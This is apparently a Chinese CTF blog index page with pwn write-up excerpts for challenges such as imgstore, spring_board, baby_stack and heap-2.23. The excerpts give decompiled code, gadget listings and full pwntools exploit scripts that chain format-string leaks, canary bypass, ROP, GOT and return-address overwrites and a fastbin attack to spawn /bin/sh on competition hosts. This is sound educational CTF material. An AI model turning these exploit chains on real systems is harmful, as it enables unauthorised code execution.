快来和我贴贴qaq
post @ 2024-08-01

pwn

imgstore

unsigned __int64 sell_book()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(s, 50, stdin);
    printf("Book title --> ");
    printf(s);
    puts(&::s);
    if ( 334873123 * buf == dword_6050 )
    {
      dword_608C = 2;
      sub_1D77(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&::s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 __fastcall sub_1D77(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sub_18F2();
  if ( a1 == 2 )
  {
    printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
    putchar(62);
    fgets(s, 160, stdin);
  }
  else
  {
    printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
    puts("[+] BAD HACKER!!");
  }
  return __readfsqword(0x28u) ^ v3;
}

程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


sla(">>","3")

# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)

ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")


payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)

ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")

payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)

time.sleep(0.3)

rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)




p.interactive()

ropity

.text:0000000000401136                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136                               public main
.text:0000000000401136                               main proc near                          ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136                               s= byte ptr -8
.text:0000000000401136
.text:0000000000401136                               ; __unwind {
.text:0000000000401136 F3 0F 1E FA                   endbr64
.text:000000000040113A 55                            push    rbp
.text:000000000040113B 48 89 E5                      mov     rbp, rsp
.text:000000000040113E 48 83 EC 10                   sub     rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00          mov     rdx, cs:__bss_start             ; stream
.text:0000000000401149 48 8D 45 F8                   lea     rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00                mov     esi, 100h                       ; n
.text:0000000000401152 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401155 E8 E6 FE FF FF                call    _fgets
.text:0000000000401155
.text:000000000040115A 90                            nop
.text:000000000040115B C9                            leave
.text:000000000040115C C3                            retn
.text:000000000040115C                               ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C                               main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D                               ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D                               ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D                               ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D                               public printfile
.text:000000000040115D                               printfile proc near
.text:000000000040115D
.text:000000000040115D                               var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D                               ; __unwind {
.text:000000000040115D F3 0F 1E FA                   endbr64
.text:0000000000401161 55                            push    rbp
.text:0000000000401162 48 89 E5                      mov     rbp, rsp
.text:0000000000401165 48 89 7D F8                   mov     [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00          mov     rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00          mov     rsi, 0                          ; flags
.text:0000000000401177 0F 05                         syscall                                 ; LINUX - sys_open
.text:0000000000401179 48 89 C6                      mov     rsi, rax                        ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00          mov     rdi, 1                          ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00          mov     rdx, 0                          ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00          mov     r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00          mov     rax, 28h ; '('
.text:0000000000401198 0F 05                         syscall                                 ; LINUX - sys_sendfile
.text:000000000040119A 90                            nop
.text:000000000040119B 5D                            pop     rbp
.text:000000000040119C C3                            retn
.text:000000000040119C                               ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C                               printfile endp
.text:000000000040119C

真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有

lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret

Unique gadgets found: 65
Read More
post @ 2024-07-22

题目附件https://github.com/nyyyddddn/ctf/tree/main/dasctf2024_summer_challenge

pwn

spring_board

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  myinit(argc, argv, envp);
  puts("Life is not boring, dreams are not out of reach.");
  puts("Sometimes you just need a springboard.");
  puts("Then you can see a wider world.");
  puts("There may be setbacks along the way.");
  puts("But keep your love of life alive.");
  puts("I believe that you will succeed.");
  puts("Good luck.");
  putchar(10);
  puts("Here's a simple pwn question, challenge yourself.");
  for ( i = 0; i <= 4; ++i )
  {
    puts("You have an 5 chances to get a flag");
    printf("This is the %d time\n", (unsigned int)(i + 1));
    puts("Please enter a keyword");
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;
}

非栈上格式化字符串,需要找一个指向栈的双重指针去写地址,然后调整双重指针实现任意地址写,got表可以写,这个情况有点麻烦,除非一次写四个字节?远程试了几次发现能写成功?? 也可以写main的返回地址为onegadget吧,这样就不用一次写这么多字节了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node5.buuoj.cn"
PORT = 28552

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()
# _libc_stack
payload = "-%9$p-%11$p"

# ru("Please enter a keyword")
s(payload)

ru('-')
libc_base = int(r(14),16) - (0x7ba6ad020840 - 0x7ba6ad000000)
ru('-')
stack = int(r(14),16)

success(hex(libc_base))
success(hex(stack))

target_i = stack - (0x7ffd3b5bd3a8 - 0x7ffd3b5bd2bc)
success(hex(target_i))

one_gadget = libc_base + 0xf1247
system = libc_base + libc.sym['system']
puts_got = 0x601020
printf_got = 0x0000000000601028

success(f"one_gadget ->{hex(one_gadget)}")


# pwndbg> fmtarg 0x7ffec2942308
# The index of format argument : 12 ("\%11$p")
# pwndbg> fmtarg 0x7ffec29423d8
# The index of format argument : 38 ("\%37$p")

payload = b"%" + str(printf_got & 0xffffff).encode() + b"c%11$lln\x00"
# g(p)
s(payload)

# g(p)
payload = b"%" + str(one_gadget & 0xffffffff).encode() + b"c%37$n\x00"
success(hex(system))

s(payload)


# g(p)
s(b'/bin/sh\x00')


p.interactive()

magicbook

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  sandbox();
  menu1();
  dest = malloc(0x100uLL);
  while ( 1 )
  {
    book = (unsigned __int16)book;
    menu2();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          edit_the_book();
          break;
        case 1:
          creat_the_book();
          break;
        case 2:
          delete_the_book();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

size_t creat_the_book()
{
  size_t v0; // rbx
  __int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

  if ( book > 5 )
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));
  return ++book;
}

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

约束非常多,程序没有canary,给了一个elf的地址,并且把execve给禁用了,通过large bin attack插入时利用构造一个任意地址写,往book那写一个很大的数字,这样edit read的时候就能溢出覆盖返回地址,然后就是正常的rop + orw了

Read More
post @ 2024-07-15

题目附件https://github.com/nyyyddddn/ctf/tree/main/wkctf_pwn

pwn

baby_stack

在guess number逻辑这里用格式化字符串泄露 libc地址后

__int64 wait()
{
  unsigned int v0; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);
  return introduce();
}

echo 这存在一个 off by null的溢出,有大量的leave ret的逻辑,走完这些leave ret 栈就被迁移到了buf上,由于不知道具体位置,找大量的 nop: ret的gadget写满buf,再结尾写一个system binsh的rop就好了,有可能会因为system中 xmm寄存器 rsp对齐的原因失败,多跑几次就好了

__int64 __fastcall echo(unsigned int a1)
{
  char v2[256]; // [rsp+0h] [rbp-100h] BYREF

  return echo_inner(v2, a1);
}


int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.73"
PORT = 33632

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("Press enter to continue","")


sla("Pick a number:","6")

ru("Your magic number is: ")
libc_base = int(rl()[:-1],16) - 0x3ec7e3
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002164f
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x000000000003f8e8
nop_ret = libc_base + 0x000000000001b5a8




sla("How many bytes do you want to read (max 256)?","256")


payload = p64(nop_ret) * 0x10 + p64(pop_rdi_ret) + p64(binsh) + p64(system) 
payload = payload.ljust(256,b'\x61')

# g(p)
s(payload)


# g(p)

p.interactive()

easy_heap

Read More
post @ 2024-06-30

pwnshell 复现 (php pwn)

如何调试?

php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了

能触发io中断的函数,比如说fgetc

<?php
$char = fgetc(STDIN);
echo "You entered: $char\n";
?>

在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了

调试相关的命令

安装gdbserver

只需要在dockerfile里面加上安装的参数,之后构建镜像就好了

FROM php:8.3-apache

RUN DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y vim gdbserver

COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html
Read More
post @ 2024-06-25

ggbond

可以发现主函数是main_main,同时存在大量grpc字段,可以判断出程序使用了grpc框架。和grpc框架开发的程序进行交互,需要提取protobuf,protobuf谷歌开发的数据序列化格式,它通常用于网络通信和数据存储的应用程序之间的结构化数据交换。这个工具让你能够定义交互时消息的数据结构。

程序套了grpc,与程序的交互不再直接通过标准输入,而需要通过定义的 gRPC 服务接口来进行,然后grpc 使用一个叫protobuf的结构去描述怎么和程序交互的,首先需要提取出程序中的protobuf,然后python中有一个叫grpc_tools的库可以通过 protobuf文件生成和程序交互的代码。

github上有一个叫pbtk的项目可以提取出elf的 protobuf结构

使用 pbtk提取 protobuf文件

./pbtk/extractors/from_binary.py pwn

提取出来的protobuf文件

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

使用grpc_tools 生成和程序交互的函数库的命令

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto
Read More
post @ 2024-06-19

题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn

pwn

cosmic-ray-v3

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rax

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  cosmic_ray();
  v3 = sys_exit(0);
  return 0;
}

__int64 cosmic_ray()
{
  __off_t offset; // [rsp+8h] [rbp-28h] BYREF
  char v2; // [rsp+12h] [rbp-1Eh] BYREF
  char buf; // [rsp+13h] [rbp-1Dh] BYREF
  unsigned int v4; // [rsp+14h] [rbp-1Ch] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  int fd; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx", &offset);
  getchar();
  putchar(10);
  fd = open("/proc/self/mem", 2);
  lseek(fd, offset, 0);
  read(fd, &buf, 1uLL);
  v6 = byte_to_binary((unsigned int)buf);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(124);
  for ( i = 0; i <= 7; ++i )
    printf("%d|", (unsigned int)*(char *)(i + v6));
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf("%d", &v4);
  getchar();
  if ( v4 >= 8 )
    exit(1);
  v5 = flip_bit(v6, v4);
  v2 = binary_to_byte(v5);
  putchar(10);
  printf("Bit succesfully flipped! New value is %d\n\n", (unsigned int)v2);
  lseek(fd, offset, 0);
  write(fd, &v2, 1uLL);
  return 0LL;
}

这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的

然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节

这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了

.text:00000000004015E0 E8 E9 FD FF FF                call    cosmic_ray
.text:00000000004015E0
.text:00000000004015E5 B8 3C 00 00 00                mov     eax, 3Ch ; '<'
.text:00000000004015EA 48 31 FF                      xor     rdi, rdi                        ; error_code
.text:00000000004015ED 0F 05                         syscall                                 ; LINUX - sys_exit
.text:00000000004015EF B8 00 00 00 00                mov     eax, 0
.text:00000000004015F4 5D                            pop     rbp
.text:00000000004015F5 C3                            retn
.text:00000000004015F5                               ; } // starts at 4015AB

exp

Read More
post @ 2024-06-04

pwn

heap-2.23

程序逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_400866(a1, a2, a3);
  v3 = 0;
  while ( 1 )
  {
    init_0();
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        free_all();
      default:
        puts("error!");
        break;
    }
  }
}

__int64 add()
{
  __int64 result; // rax
  int v1; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 0xF || *(&ptr + (int)v2) )
  {
    puts("error !");
    return 0LL;
  }
  else
  {
    printf("size? ");
    __isoc99_scanf("%d", &v3);
    v1 = v2;
    *(&ptr + v1) = malloc(v3);
    if ( !*(&ptr + (int)v2) )
    {
      puts("malloc error!");
      exit(1);
    }
    result = (int)v2;
    *((_DWORD *)&nbytes + (int)v2) = v3;
  }
  return result;
}

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0xF && *(&ptr + (int)v0) )
    free(*(&ptr + (int)v0));
  else
    puts("no such chunk!");
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
    return printf("content : %s\n", (const char *)*(&ptr + (int)v1));
  puts("no such chunk!");
  return 0;
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

void __noreturn free_all()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(&ptr + i) )
    {
      free(*(&ptr + i));
      *(&ptr + i) = 0LL;
      *((_DWORD *)&nbytes + i) = 0;
    }
  }
  exit(0);
}

存在 uaf,通过申请unsortedbin 去泄露libc基地址后,fastbin attack,通过错位字节绕过size检查的宏,写malloc hook为one gadget 触发 one gadget拿shell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node2.anna.nssctf.cn"
PORT = 28922

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))



def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))


def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))


def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


add(0,0x98)
add(1,0x98)
delete(0)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x74afcefc4b78 - 0x74afcec00000)
success(f"libc_base ->{hex(libc_base)}")

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
